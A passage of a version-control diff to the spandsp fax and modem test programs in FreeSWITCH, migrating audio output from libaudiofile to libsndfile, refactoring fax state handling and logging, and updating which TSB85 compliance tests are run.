+ * $Id: tone_generate_tests.c,v 1.22 2009/05/30 15:23:14 steveu Exp $
  */
 
 /*! \page tone_generate_tests_page Tone generation tests
@@ -38,8 +38,12 @@
 #include <fcntl.h>
 #include <string.h>
 #include <time.h>
-#include <audiofile.h>
+#include <sndfile.h>
 
+//#if defined(WITH_SPANDSP_INTERNALS)
+#define SPANDSP_EXPOSE_INTERNAL_STRUCTURES
+//#endif
+
 #include "spandsp.h"
 #include "spandsp-sim.h"
 
@@ -52,12 +56,12 @@
     int i;
     int16_t amp[16384];
     int len;
-    AFfilehandle outhandle;
+    SNDFILE *outhandle;
     int outframes;
 
-    if ((outhandle = afOpenFile_telephony_write(OUTPUT_FILE_NAME, 1)) == AF_NULL_FILEHANDLE)
+    if ((outhandle = sf_open_telephony_write(OUTPUT_FILE_NAME, 1)) == NULL)
     {
-        fprintf(stderr, "    Cannot open wave file '%s'\n", OUTPUT_FILE_NAME);
+        fprintf(stderr, "    Cannot open audio file '%s'\n", OUTPUT_FILE_NAME);
         exit(2);
     }
 
@@ -80,10 +84,7 @@
         printf("Generated %d samples\n", len);
         if (len <= 0)
             break;
-        outframes = afWriteFrames(outhandle,
-                                  AF_DEFAULT_TRACK,
-                                  amp,
-                                  len);
+        outframes = sf_writef_short(outhandle, amp, len);
     }
     
     /* Try a different tone pair */
@@ -105,10 +106,7 @@
         printf("Generated %d samples\n", len);
         if (len <= 0)
             break;
-        outframes = afWriteFrames(outhandle,
-                                  AF_DEFAULT_TRACK,
-                                  amp,
-                                  len);
+        outframes = sf_writef_short(outhandle, amp, len);
     }
 
     /* Try a different tone pair */
@@ -130,10 +128,7 @@
         printf("Generated %d samples\n", len);
         if (len <= 0)
             break;
-        outframes = afWriteFrames(outhandle,
-                                  AF_DEFAULT_TRACK,
-                                  amp,
-                                  len);
+        outframes = sf_writef_short(outhandle, amp, len);
     }
 
     /* Try a single tone */
@@ -155,10 +150,7 @@
         printf("Generated %d samples\n", len);
         if (len <= 0)
             break;
-        outframes = afWriteFrames(outhandle,
-                                  AF_DEFAULT_TRACK,
-                                  amp,
-                                  len);
+        outframes = sf_writef_short(outhandle, amp, len);
     }
 
     /* Try a single non-repeating tone */
@@ -180,10 +172,7 @@
         printf("Generated %d samples\n", len);
         if (len <= 0)
             break;
-        outframes = afWriteFrames(outhandle,
-                                  AF_DEFAULT_TRACK,
-                                  amp,
-                                  len);
+        outframes = sf_writef_short(outhandle, amp, len);
     }
 
     /* Try a single non-repeating tone at 0dBm0 */
@@ -205,10 +194,7 @@
         printf("Generated %d samples\n", len);
         if (len <= 0)
             break;
-        outframes = afWriteFrames(outhandle,
-                                  AF_DEFAULT_TRACK,
-                                  amp,
-                                  len);
+        outframes = sf_writef_short(outhandle, amp, len);
     }
 
     /* Try an AM modulated tone at a modest modulation level (25%) */
@@ -230,10 +216,7 @@
         printf("Generated %d samples\n", len);
         if (len <= 0)
             break;
-        outframes = afWriteFrames(outhandle,
-                                  AF_DEFAULT_TRACK,
-                                  amp,
-                                  len);
+        outframes = sf_writef_short(outhandle, amp, len);
     }
     
     /* Try an AM modulated tone at maximum modulation level (100%) */
@@ -255,15 +238,12 @@
         printf("Generated %d samples\n", len);
         if (len <= 0)
             break;
-        outframes = afWriteFrames(outhandle,
-                                  AF_DEFAULT_TRACK,
-                                  amp,
-                                  len);
+        outframes = sf_writef_short(outhandle, amp, len);
     }
     
-    if (afCloseFile(outhandle) != 0)
+    if (sf_close(outhandle) != 0)
     {
-        fprintf(stderr, "    Cannot close wave file '%s'\n", OUTPUT_FILE_NAME);
+        fprintf(stderr, "    Cannot close audio file '%s'\n", OUTPUT_FILE_NAME);
         exit (2);
     }
 

Modified: freeswitch/branches/seven/libs/spandsp/tests/tsb85_tests.c (14471 => 14472)


--- freeswitch/branches/seven/libs/spandsp/tests/tsb85_tests.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/spandsp/tests/tsb85_tests.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -22,7 +22,7 @@
  * License along with this program; if not, write to the Free Software
  * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- * $Id: tsb85_tests.c,v 1.24 2008/09/12 14:41:55 steveu Exp $
+ * $Id: tsb85_tests.c,v 1.32 2009/05/30 15:23:14 steveu Exp $
  */
 
 /*! \file */
@@ -36,18 +36,18 @@
 #include <stdio.h>
 #include <string.h>
 #include <ctype.h>
-#include "floating_fudge.h"
 #if defined(HAVE_TGMATH_H)
 #include <tgmath.h>
 #endif
 #if defined(HAVE_MATH_H)
 #include <math.h>
 #endif
+#include "floating_fudge.h"
 #include <assert.h>
 #include <fcntl.h>
 #include <time.h>
 #include <unistd.h>
-#include <audiofile.h>
+#include <sndfile.h>
 
 #if defined(HAVE_LIBXML_XMLMEMORY_H)
 #include <libxml/xmlmemory.h>
@@ -59,9 +59,15 @@
 #include <libxml/xinclude.h>
 #endif
 
+//#if defined(WITH_SPANDSP_INTERNALS)
+#define SPANDSP_EXPOSE_INTERNAL_STRUCTURES
+//#endif
+
 #include "spandsp.h"
 #include "spandsp-sim.h"
+
 #include "fax_tester.h"
+#include "fax_utils.h"
 
 #define OUTPUT_TIFF_FILE_NAME   "tsb85.tif"
 
@@ -69,14 +75,14 @@
 
 #define SAMPLES_PER_CHUNK       160
 
-AFfilehandle out_handle;
+SNDFILE *out_handle;
 
 int use_receiver_not_ready = FALSE;
 int test_local_interrupt = FALSE;
 
 const char *output_tiff_file_name;
 
-fax_state_t fax;
+fax_state_t *fax;
 faxtester_state_t state;
 
 uint8_t image[1000000];
@@ -102,10 +108,10 @@
     status = T30_ERR_OK;
     if ((u = t30_get_rx_ident(s)))
     {
-        printf("%d: Phase B: remote ident '%s'\n", i, u);
+        printf("%c: Phase B: remote ident '%s'\n", i, u);
         if (expected_rx_info.ident[0]  &&  strcmp(expected_rx_info.ident, u))
         {
-            printf("%d: Phase B: remote ident incorrect! - expected '%s'\n", i, expected_rx_info.ident);
+            printf("%c: Phase B: remote ident incorrect! - expected '%s'\n", i, expected_rx_info.ident);
             status = T30_ERR_IDENT_UNACCEPTABLE;
         }
     }
@@ -113,16 +119,16 @@
     {
         if (expected_rx_info.ident[0])
         {
-            printf("%d: Phase B: remote ident missing!\n", i);
+            printf("%c: Phase B: remote ident missing!\n", i);
             status = T30_ERR_IDENT_UNACCEPTABLE;
         }
     }
     if ((u = t30_get_rx_sub_address(s)))
     {
-        printf("%d: Phase B: remote sub-address '%s'\n", i, u);
+        printf("%c: Phase B: remote sub-address '%s'\n", i, u);
         if (expected_rx_info.sub_address[0]  &&  strcmp(expected_rx_info.sub_address, u))
         {
-            printf("%d: Phase B: remote sub-address incorrect! - expected '%s'\n", i, expected_rx_info.sub_address);
+            printf("%c: Phase B: remote sub-address incorrect! - expected '%s'\n", i, expected_rx_info.sub_address);
             status = T30_ERR_SUB_UNACCEPTABLE;
         }
     }
@@ -130,16 +136,16 @@
     {
         if (expected_rx_info.sub_address[0])
         {
-            printf("%d: Phase B: remote sub-address missing!\n", i);
+            printf("%c: Phase B: remote sub-address missing!\n", i);
             status = T30_ERR_SUB_UNACCEPTABLE;
         }
     }
     if ((u = t30_get_rx_polled_sub_address(s)))
     {
-        printf("%d: Phase B: remote polled sub-address '%s'\n", i, u);
+        printf("%c: Phase B: remote polled sub-address '%s'\n", i, u);
         if (expected_rx_info.polled_sub_address[0]  &&  strcmp(expected_rx_info.polled_sub_address, u))
         {
-            printf("%d: Phase B: remote polled sub-address incorrect! - expected '%s'\n", i, expected_rx_info.polled_sub_address);
+            printf("%c: Phase B: remote polled sub-address incorrect! - expected '%s'\n", i, expected_rx_info.polled_sub_address);
             status = T30_ERR_PSA_UNACCEPTABLE;
         }
     }
@@ -147,16 +153,16 @@
     {
         if (expected_rx_info.polled_sub_address[0])
         {
-            printf("%d: Phase B: remote polled sub-address missing!\n", i);
+            printf("%c: Phase B: remote polled sub-address missing!\n", i);
             status = T30_ERR_PSA_UNACCEPTABLE;
         }
     }
     if ((u = t30_get_rx_selective_polling_address(s)))
     {
-        printf("%d: Phase B: remote selective polling address '%s'\n", i, u);
+        printf("%c: Phase B: remote selective polling address '%s'\n", i, u);
         if (expected_rx_info.selective_polling_address[0]  &&  strcmp(expected_rx_info.selective_polling_address, u))
         {
-            printf("%d: Phase B: remote selective polling address incorrect! - expected '%s'\n", i, expected_rx_info.selective_polling_address);
+            printf("%c: Phase B: remote selective polling address incorrect! - expected '%s'\n", i, expected_rx_info.selective_polling_address);
             status = T30_ERR_SEP_UNACCEPTABLE;
         }
     }
@@ -164,16 +170,16 @@
     {
         if (expected_rx_info.selective_polling_address[0])
         {
-            printf("%d: Phase B: remote selective polling address missing!\n", i);
+            printf("%c: Phase B: remote selective polling address missing!\n", i);
             status = T30_ERR_SEP_UNACCEPTABLE;
         }
     }
     if ((u = t30_get_rx_sender_ident(s)))
     {
-        printf("%d: Phase B: remote sender ident '%s'\n", i, u);
+        printf("%c: Phase B: remote sender ident '%s'\n", i, u);
         if (expected_rx_info.sender_ident[0]  &&  strcmp(expected_rx_info.sender_ident, u))
         {
-            printf("%d: Phase B: remote sender ident incorrect! - expected '%s'\n", i, expected_rx_info.sender_ident);
+            printf("%c: Phase B: remote sender ident incorrect! - expected '%s'\n", i, expected_rx_info.sender_ident);
             status = T30_ERR_SID_UNACCEPTABLE;
         }
     }
@@ -181,16 +187,16 @@
     {
         if (expected_rx_info.sender_ident[0])
         {
-            printf("%d: Phase B: remote sender ident missing!\n", i);
+            printf("%c: Phase B: remote sender ident missing!\n", i);
             status = T30_ERR_SID_UNACCEPTABLE;
         }
     }
     if ((u = t30_get_rx_password(s)))
     {
-        printf("%d: Phase B: remote password '%s'\n", i, u);
+        printf("%c: Phase B: remote password '%s'\n", i, u);
         if (expected_rx_info.password[0]  &&  strcmp(expected_rx_info.password, u))
         {
-            printf("%d: Phase B: remote password incorrect! - expected '%s'\n", i, expected_rx_info.password);
+            printf("%c: Phase B: remote password incorrect! - expected '%s'\n", i, expected_rx_info.password);
             status = T30_ERR_PWD_UNACCEPTABLE;
         }
     }
@@ -198,11 +204,11 @@
     {
         if (expected_rx_info.password[0])
         {
-            printf("%d: Phase B: remote password missing!\n", i);
+            printf("%c: Phase B: remote password missing!\n", i);
             status = T30_ERR_PWD_UNACCEPTABLE;
         }
     }
-    printf("%d: Phase B handler on channel %d - (0x%X) %s\n", i, i, result, t30_frametype(result));
+    printf("%c: Phase B handler on channel %d - (0x%X) %s\n", i, i, result, t30_frametype(result));
     return status;
 }
 /*- End of function --------------------------------------------------------*/
@@ -210,37 +216,24 @@
 static int phase_d_handler(t30_state_t *s, void *user_data, int result)
 {
     int i;
-    t30_stats_t t;
-    const char *u;
+    char tag[20];
 
     i = (intptr_t) user_data;
-    t30_get_transfer_statistics(s, &t);
+    snprintf(tag, sizeof(tag), "%c: Phase D:", i);
 
-    printf("%d: Phase D handler on channel %d - (0x%X) %s\n", i, i, result, t30_frametype(result));
-    printf("%d: Phase D: bit rate %d\n", i, t.bit_rate);
-    printf("%d: Phase D: ECM %s\n", i, (t.error_correcting_mode)  ?  "on"  :  "off");
-    printf("%d: Phase D: pages transferred %d\n", i, t.pages_transferred);
-    printf("%d: Phase D: pages in the file %d\n", i, t.pages_in_file);
-    printf("%d: Phase D: image size %d x %d\n", i, t.width, t.length);
-    printf("%d: Phase D: image resolution %d x %d\n", i, t.x_resolution, t.y_resolution);
-    printf("%d: Phase D: bad rows %d\n", i, t.bad_rows);
-    printf("%d: Phase D: longest bad row run %d\n", i, t.longest_bad_row_run);
-    printf("%d: Phase D: compression type %d\n", i, t.encoding);
-    printf("%d: Phase D: image size %d bytes\n", i, t.image_size);
-    if ((u = t30_get_tx_ident(s)))
-        printf("%d: Phase D: local ident '%s'\n", i, u);
-    if ((u = t30_get_rx_ident(s)))
-        printf("%d: Phase D: remote ident '%s'\n", i, u);
-    printf("%d: Phase D: bits per row - min %d, max %d\n", i, s->t4.min_row_bits, s->t4.max_row_bits);
+    printf("%c: Phase D handler on channel %c - (0x%X) %s\n", i, i, result, t30_frametype(result));
+    log_transfer_statistics(s, tag);
+    log_tx_parameters(s, tag);
+    log_rx_parameters(s, tag);
 
     if (use_receiver_not_ready)
         t30_set_receiver_not_ready(s, 3);
 
     if (test_local_interrupt)
     {
-        if (i == 0)
+        if (i == 'A')
         {
-            printf("%d: Initiating interrupt request\n", i);
+            printf("%c: Initiating interrupt request\n", i);
             t30_local_interrupt_request(s, TRUE);
         }
         else
@@ -251,7 +244,7 @@
             case T30_PRI_MPS:
             case T30_PRI_EOM:
             case T30_PRI_EOP:
-                printf("%d: Accepting interrupt request\n", i);
+                printf("%c: Accepting interrupt request\n", i);
                 t30_local_interrupt_request(s, TRUE);
                 break;
             case T30_PIN:
@@ -266,32 +259,14 @@
 static void phase_e_handler(t30_state_t *s, void *user_data, int result)
 {
     int i;
-    t30_stats_t t;
-    const char *u;
+    char tag[20];
     
     i = (intptr_t) user_data;
-    printf("%d: Phase E handler on channel %d - (%d) %s\n", i, i, result, t30_completion_code_to_str(result));    
-    t30_get_transfer_statistics(s, &t);
-    printf("%d: Phase E: bit rate %d\n", i, t.bit_rate);
-    printf("%d: Phase E: ECM %s\n", i, (t.error_correcting_mode)  ?  "on"  :  "off");
-    printf("%d: Phase E: pages transferred %d\n", i, t.pages_transferred);
-    printf("%d: Phase E: pages in the file %d\n", i, t.pages_in_file);
-    printf("%d: Phase E: image size %d x %d\n", i, t.width, t.length);
-    printf("%d: Phase E: image resolution %d x %d\n", i, t.x_resolution, t.y_resolution);
-    printf("%d: Phase E: bad rows %d\n", i, t.bad_rows);
-    printf("%d: Phase E: longest bad row run %d\n", i, t.longest_bad_row_run);
-    printf("%d: Phase E: coding method %s\n", i, t4_encoding_to_str(t.encoding));
-    printf("%d: Phase E: image size %d bytes\n", i, t.image_size);
-    if ((u = t30_get_tx_ident(s)))
-        printf("%d: Phase E: local ident '%s'\n", i, u);
-    if ((u = t30_get_rx_ident(s)))
-        printf("%d: Phase E: remote ident '%s'\n", i, u);
-    if ((u = t30_get_rx_country(s)))
-        printf("%d: Phase E: Remote was made in '%s'\n", i, u);
-    if ((u = t30_get_rx_vendor(s)))
-        printf("%d: Phase E: Remote was made by '%s'\n", i, u);
-    if ((u = t30_get_rx_model(s)))
-        printf("%d: Phase E: Remote is model '%s'\n", i, u);
+    snprintf(tag, sizeof(tag), "%c: Phase E:", i);
+    printf("%c: Phase E handler on channel %c - (%d) %s\n", i, i, result, t30_completion_code_to_str(result));    
+    log_transfer_statistics(s, tag);
+    log_tx_parameters(s, tag);
+    log_rx_parameters(s, tag);
 }
 /*- End of function --------------------------------------------------------*/
 
@@ -360,6 +335,7 @@
             {
                 span_log_buf(&s->logging, SPAN_LOG_FLOW, "Expected", awaited, abs(awaited_len));
                 span_log_buf(&s->logging, SPAN_LOG_FLOW, "Received", msg, len);
+                printf("Test failed\n");
                 exit(2);
             }
         }
@@ -384,6 +360,7 @@
 static void faxtester_front_end_step_timeout_handler(faxtester_state_t *s, void *user_data)
 {
     span_log(&s->logging, SPAN_LOG_FLOW, "FAX tester step timed out\n");
+    printf("Test failed\n");
     exit(2);
 }
 /*- End of function --------------------------------------------------------*/
@@ -391,10 +368,11 @@
 static void fax_prepare(void)
 {
     t30_state_t *t30;
+    logging_state_t *logging;
 
-    t30 = fax_get_t30_state(&fax);
-    fax_set_transmit_on_idle(&fax, TRUE);
-    fax_set_tep_mode(&fax, TRUE);
+    t30 = fax_get_t30_state(fax);
+    fax_set_transmit_on_idle(fax, TRUE);
+    fax_set_tep_mode(fax, TRUE);
 #if 0
     t30_set_tx_ident(t30, "1234567890");
     t30_set_tx_sub_address(t30, "Sub-address");
@@ -433,22 +411,28 @@
                                 | T30_SUPPORT_600_1200_RESOLUTION);
     t30_set_supported_modems(t30, T30_SUPPORT_V27TER | T30_SUPPORT_V29 | T30_SUPPORT_V17);
     t30_set_supported_compressions(t30, T30_SUPPORT_T4_1D_COMPRESSION | T30_SUPPORT_T4_2D_COMPRESSION | T30_SUPPORT_T6_COMPRESSION);
-    t30_set_phase_b_handler(t30, phase_b_handler, (void *) (intptr_t) 1);
-    t30_set_phase_d_handler(t30, phase_d_handler, (void *) (intptr_t) 1);
-    t30_set_phase_e_handler(t30, phase_e_handler, (void *) (intptr_t) 1);
-    t30_set_real_time_frame_handler(t30, t30_real_time_frame_handler, (void *) (intptr_t) 1);
-    t30_set_document_handler(t30, document_handler, (void *) (intptr_t) 1);
+    t30_set_phase_b_handler(t30, phase_b_handler, (void *) (intptr_t) 'A');
+    t30_set_phase_d_handler(t30, phase_d_handler, (void *) (intptr_t) 'A');
+    t30_set_phase_e_handler(t30, phase_e_handler, (void *) (intptr_t) 'A');
+    t30_set_real_time_frame_handler(t30, t30_real_time_frame_handler, (void *) (intptr_t) 'A');
+    t30_set_document_handler(t30, document_handler, (void *) (intptr_t) 'A');
 
-    span_log_set_level(&t30->logging, SPAN_LOG_SHOW_SEVERITY | SPAN_LOG_SHOW_PROTOCOL | SPAN_LOG_SHOW_TAG | SPAN_LOG_SHOW_SAMPLE_TIME | SPAN_LOG_FLOW);
-    span_log_set_tag(&t30->logging, "A");
+    logging = fax_get_logging_state(fax);
+    span_log_set_level(logging, SPAN_LOG_SHOW_SEVERITY | SPAN_LOG_SHOW_PROTOCOL | SPAN_LOG_SHOW_TAG | SPAN_LOG_SHOW_SAMPLE_TIME | SPAN_LOG_FLOW);
+    span_log_set_tag(logging, "A");
+
+    logging = t30_get_logging_state(t30);
+    span_log_set_level(logging, SPAN_LOG_SHOW_SEVERITY | SPAN_LOG_SHOW_PROTOCOL | SPAN_LOG_SHOW_TAG | SPAN_LOG_SHOW_SAMPLE_TIME | SPAN_LOG_FLOW);
+    span_log_set_tag(logging, "A");
+
+#if 0
     span_log_set_level(&fax.modems.v27ter_rx.logging, SPAN_LOG_SHOW_SEVERITY | SPAN_LOG_SHOW_PROTOCOL | SPAN_LOG_SHOW_TAG | SPAN_LOG_SHOW_SAMPLE_TIME | SPAN_LOG_FLOW);
     span_log_set_tag(&fax.modems.v27ter_rx.logging, "A");
     span_log_set_level(&fax.modems.v29_rx.logging, SPAN_LOG_SHOW_SEVERITY | SPAN_LOG_SHOW_PROTOCOL | SPAN_LOG_SHOW_TAG | SPAN_LOG_SHOW_SAMPLE_TIME | SPAN_LOG_FLOW);
     span_log_set_tag(&fax.modems.v29_rx.logging, "A");
     span_log_set_level(&fax.modems.v17_rx.logging, SPAN_LOG_SHOW_SEVERITY | SPAN_LOG_SHOW_PROTOCOL | SPAN_LOG_SHOW_TAG | SPAN_LOG_SHOW_SAMPLE_TIME | SPAN_LOG_FLOW);
     span_log_set_tag(&fax.modems.v17_rx.logging, "A");
-    span_log_set_level(&fax.logging, SPAN_LOG_SHOW_SEVERITY | SPAN_LOG_SHOW_PROTOCOL | SPAN_LOG_SHOW_TAG | SPAN_LOG_SHOW_SAMPLE_TIME | SPAN_LOG_FLOW);
-    span_log_set_tag(&fax.logging, "A");
+#endif
 }
 /*- End of function --------------------------------------------------------*/
 
@@ -662,6 +646,7 @@
             return 1;
         }
         /* Finished */
+        printf("Test passed\n");
         exit(0);
     }
     while (s->cur  &&  xmlStrcmp(s->cur->name, (const xmlChar *) "step") != 0)
@@ -669,6 +654,7 @@
     if (s->cur == NULL)
     {
         /* Finished */
+        printf("Test passed\n");
         exit(0);
     }
 
@@ -862,7 +848,7 @@
 
         if (strcasecmp((const char *) type, "SET") == 0)
         {
-            t30 = fax_get_t30_state(&fax);
+            t30 = fax_get_t30_state(fax);
             if (strcasecmp((const char *) tag, "IDENT") == 0)
                 t30_set_tx_ident(t30, (const char *) value);
             else if (strcasecmp((const char *) tag, "SUB") == 0)
@@ -891,10 +877,10 @@
         }
         else if (strcasecmp((const char *) type, "CALL") == 0)
         {
-            fax_init(&fax, FALSE);
+            fax = fax_init(NULL, FALSE);
             fax_prepare();
             next_tx_file[0] = '\0';
-            t30 = fax_get_t30_state(&fax);
+            t30 = fax_get_t30_state(fax);
             t30_set_rx_file(t30, output_tiff_file_name, -1);
             /* Avoid libtiff 3.8.2 and earlier bug on complex 2D lines. */
             t30_set_rx_encoding(t30, T4_COMPRESSION_ITU_T4_1D);
@@ -907,10 +893,10 @@
         }
         else if (strcasecmp((const char *) type, "ANSWER") == 0)
         {
-            fax_init(&fax, TRUE);
+            fax = fax_init(NULL, TRUE);
             fax_prepare();
             next_tx_file[0] = '\0';
-            t30 = fax_get_t30_state(&fax);
+            t30 = fax_get_t30_state(fax);
             /* Avoid libtiff 3.8.2 and earlier bug on complex 2D lines. */
             t30_set_rx_encoding(t30, T4_COMPRESSION_ITU_T4_1D);
             if (value)
@@ -983,6 +969,7 @@
             if (t4_tx_init(&t4_state, path, -1, -1) == NULL)
             {
                 span_log(&s->logging, SPAN_LOG_FLOW, "Failed to init T.4 send\n");
+                printf("Test failed\n");
                 exit(2);
             }
             t4_tx_set_min_row_bits(&t4_state, min_row_bits);
@@ -999,6 +986,7 @@
             if (t4_tx_start_page(&t4_state))
             {
                 span_log(&s->logging, SPAN_LOG_FLOW, "Failed to start T.4 send\n");
+                printf("Test failed\n");
                 exit(2);
             }
             len = t4_tx_get_chunk(&t4_state, image, sizeof(image));
@@ -1007,7 +995,7 @@
                 span_log(&s->logging, SPAN_LOG_FLOW, "We need to corrupt the image\n");
                 corrupt_image(s, image, len, (const char *) bad_rows);
             }
-            t4_tx_end(&t4_state);
+            t4_tx_release(&t4_state);
             span_log(&s->logging, SPAN_LOG_FLOW, "Non-ECM image is %d bytes\n", len);
             faxtester_set_non_ecm_image_buffer(s, image, len);
         }
@@ -1021,6 +1009,7 @@
             if (t4_tx_init(&t4_state, path, -1, -1) == NULL)
             {
                 span_log(&s->logging, SPAN_LOG_FLOW, "Failed to init T.4 send\n");
+                printf("Test failed\n");
                 exit(2);
             }
             t4_tx_set_min_row_bits(&t4_state, min_row_bits);
@@ -1037,6 +1026,7 @@
             if (t4_tx_start_page(&t4_state))
             {
                 span_log(&s->logging, SPAN_LOG_FLOW, "Failed to start T.4 send\n");
+                printf("Test failed\n");
                 exit(2);
             }
             /*endif*/
@@ -1047,7 +1037,7 @@
                 corrupt_image(s, image, len, (const char *) bad_rows);
             }
             /*endif*/
-            t4_tx_end(&t4_state);
+            t4_tx_release(&t4_state);
             span_log(&s->logging, SPAN_LOG_FLOW, "ECM image is %d bytes\n", len);
             faxtester_set_ecm_image_buffer(s, image, len, ecm_block, ecm_frame_size, i);
         }
@@ -1071,15 +1061,17 @@
     int i;
     int total_audio_time;
     int log_audio;
+    logging_state_t *logging;
 
     log_audio = TRUE;
     output_tiff_file_name = OUTPUT_TIFF_FILE_NAME;
 
     if (log_audio)
     {
-        if ((out_handle = afOpenFile_telephony_write(OUTPUT_FILE_NAME_WAVE, 2)) == AF_NULL_FILEHANDLE)
+        if ((out_handle = sf_open_telephony_write(OUTPUT_FILE_NAME_WAVE, 2)) == NULL)
         {
-            fprintf(stderr, "    Cannot create wave file '%s'\n", OUTPUT_FILE_NAME_WAVE);
+            fprintf(stderr, "    Cannot create audio file '%s'\n", OUTPUT_FILE_NAME_WAVE);
+            printf("Test failed\n");
             exit(2);
         }
         /*endif*/
@@ -1093,7 +1085,7 @@
     faxtester_set_front_end_step_complete_handler(&state, faxtester_front_end_step_complete_handler, NULL);
     faxtester_set_front_end_step_timeout_handler(&state, faxtester_front_end_step_timeout_handler, NULL);
 
-    fax_init(&fax, FALSE);
+    fax = fax_init(NULL, FALSE);
     fax_prepare();
     next_tx_file[0] = '\0';
 
@@ -1102,7 +1094,7 @@
     /*endwhile*/
     for (;;)
     {
-        len = fax_tx(&fax, amp, SAMPLES_PER_CHUNK);
+        len = fax_tx(fax, amp, SAMPLES_PER_CHUNK);
         faxtester_rx(s, amp, len);
         if (log_audio)
         {
@@ -1113,15 +1105,21 @@
         /*endif*/
 
         total_audio_time += SAMPLES_PER_CHUNK;
-        span_log_bump_samples(&fax.t30.logging, len);
+
+        logging = t30_get_logging_state(fax_get_t30_state(fax));
+        span_log_bump_samples(logging, len);
+#if 0
         span_log_bump_samples(&fax.modems.v27ter_rx.logging, len);
         span_log_bump_samples(&fax.modems.v29_rx.logging, len);
         span_log_bump_samples(&fax.modems.v17_rx.logging, len);
-        span_log_bump_samples(&fax.logging, len);
+#endif
+        logging = fax_get_logging_state(fax);
+        span_log_bump_samples(logging, len);
+
         span_log_bump_samples(&s->logging, len);
                 
         len = faxtester_tx(s, amp, 160);
-        if (fax_rx(&fax, amp, len))
+        if (fax_rx(fax, amp, len))
             break;
         /*endif*/
         if (log_audio)
@@ -1129,7 +1127,7 @@
             for (i = 0;  i < len;  i++)
                 out_amp[2*i + 1] = amp[i];
             /*endfor*/
-            if (afWriteFrames(out_handle, AF_DEFAULT_TRACK, out_amp, SAMPLES_PER_CHUNK) != SAMPLES_PER_CHUNK)
+            if (sf_writef_short(out_handle, out_amp, SAMPLES_PER_CHUNK) != SAMPLES_PER_CHUNK)
                 break;
             /*endif*/
         }
@@ -1138,9 +1136,10 @@
     /*endfor*/
     if (log_audio)
     {
-        if (afCloseFile(out_handle))
+        if (sf_close(out_handle))
         {
-            fprintf(stderr, "    Cannot close wave file '%s'\n", OUTPUT_FILE_NAME_WAVE);
+            fprintf(stderr, "    Cannot close audio file '%s'\n", OUTPUT_FILE_NAME_WAVE);
+            printf("Test failed\n");
             exit(2);
         }
         /*endif*/
@@ -1220,6 +1219,7 @@
     if ((doc = xmlParseFile(test_file)) == NULL)
     {
         fprintf(stderr, "No document\n");
+        printf("Test failed\n");
         exit(2);
     }
     /*endif*/
@@ -1227,6 +1227,7 @@
     if (!xmlValidateDocument(&valid, doc))
     {
         fprintf(stderr, "Invalid document\n");
+        printf("Test failed\n");
         exit(2);
     }
     /*endif*/
@@ -1234,15 +1235,17 @@
     /* Check the document is of the right kind */
     if ((cur = xmlDocGetRootElement(doc)) == NULL)
     {
+        xmlFreeDoc(doc);
         fprintf(stderr, "Empty document\n");
-        xmlFreeDoc(doc);
+        printf("Test failed\n");
         exit(2);
     }
     /*endif*/
     if (xmlStrcmp(cur->name, (const xmlChar *) "fax-tests"))
     {
+        xmlFreeDoc(doc);
         fprintf(stderr, "Document of the wrong type, root node != fax-tests");
-        xmlFreeDoc(doc);
+        printf("Test failed\n");
         exit(2);
     }
     /*endif*/
@@ -1251,7 +1254,10 @@
         cur = cur->next;
     /*endwhile*/
     if (cur == NULL)
+    {
+        printf("Test failed\n");
         exit(2);
+    }
     /*endif*/
     while (cur)
     {

Modified: freeswitch/branches/seven/libs/spandsp/tests/tsb85_tests.sh (14471 => 14472)


--- freeswitch/branches/seven/libs/spandsp/tests/tsb85_tests.sh	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/spandsp/tests/tsb85_tests.sh	2009-08-09 18:53:22 UTC (rev 14472)
@@ -15,7 +15,7 @@
 # License along with this program; if not, write to the Free Software
 # Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
 #
-# $Id: tsb85_tests.sh,v 1.6 2008/09/11 15:13:42 steveu Exp $
+# $Id: tsb85_tests.sh,v 1.8 2009/05/24 07:18:36 steveu Exp $
 #
 
 run_tsb85_test()
@@ -35,14 +35,13 @@
     run_tsb85_test
 done
 
-#MRGN14 fails because ???
+#MRGN14 fails because we don't adequately distinguish between receiving a
+#bad image signal and receiving none at all.
 #MRGN16 fails because we don't adequately distinguish between receiving a
 #bad image signal and receiving none at all.
-#MRGN17 fails because we don't adequately distinguish between receiving a
-#bad HDLC message and receiving none at all.
 
 #for TEST in MRGN09 MRGN10 MRGN11 MRGN12 MRGN13 MRGN14 MRGN15 MRGN16 MRGN17 ; do
-for TEST in MRGN09 MRGN10 MRGN11 MRGN12 MRGN13 MRGN15 ; do
+for TEST in MRGN09 MRGN10 MRGN11 MRGN12 MRGN13 MRGN15 MRGN17 ; do
     run_tsb85_test
 done
 
@@ -54,11 +53,12 @@
     run_tsb85_test
 done
 
+# MRGX03 is failing because the V.27ter modem says it trained on HDLC
 # MRGX05 is failing because we don't distinguish MPS immediately after MCF from MPS after
 # a corrupt image signal.
 
 #for TEST in MRGX01 MRGX02 MRGX03 MRGX04 MRGX05 MRGX06 MRGX07 MRGX08 ; do
-for TEST in MRGX01 MRGX02 MRGX03 MRGX04 MRGX06 MRGX07 MRGX08 ; do
+for TEST in MRGX01 MRGX02 MRGX04 MRGX06 MRGX07 MRGX08 ; do
     run_tsb85_test
 done
 
@@ -94,7 +94,10 @@
     run_tsb85_test
 done
 
-for TEST in OTEN01 OTEN02 OTEN03 OTEN04 OTEN05 OTEN06 ; do
+#OTEN02 fails because ?????
+
+#for TEST in OTEN01 OTEN02 OTEN03 OTEN04 OTEN05 OTEN06 ; do
+for TEST in OTEN01 OTEN03 OTEN04 OTEN05 OTEN06 ; do
     run_tsb85_test
 done
 

Modified: freeswitch/branches/seven/libs/spandsp/tests/v17_tests.c (14471 => 14472)


--- freeswitch/branches/seven/libs/spandsp/tests/v17_tests.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/spandsp/tests/v17_tests.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -23,7 +23,7 @@
  * along with this program; if not, write to the Free Software
  * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- * $Id: v17_tests.c,v 1.90 2008/09/07 12:45:17 steveu Exp $
+ * $Id: v17_tests.c,v 1.104 2009/07/09 13:52:09 steveu Exp $
  */
 
 /*! \page v17_tests_page V.17 modem tests
@@ -36,7 +36,7 @@
    receive modem. It is also the only test mode provided for evaluating the
    transmit modem.
 
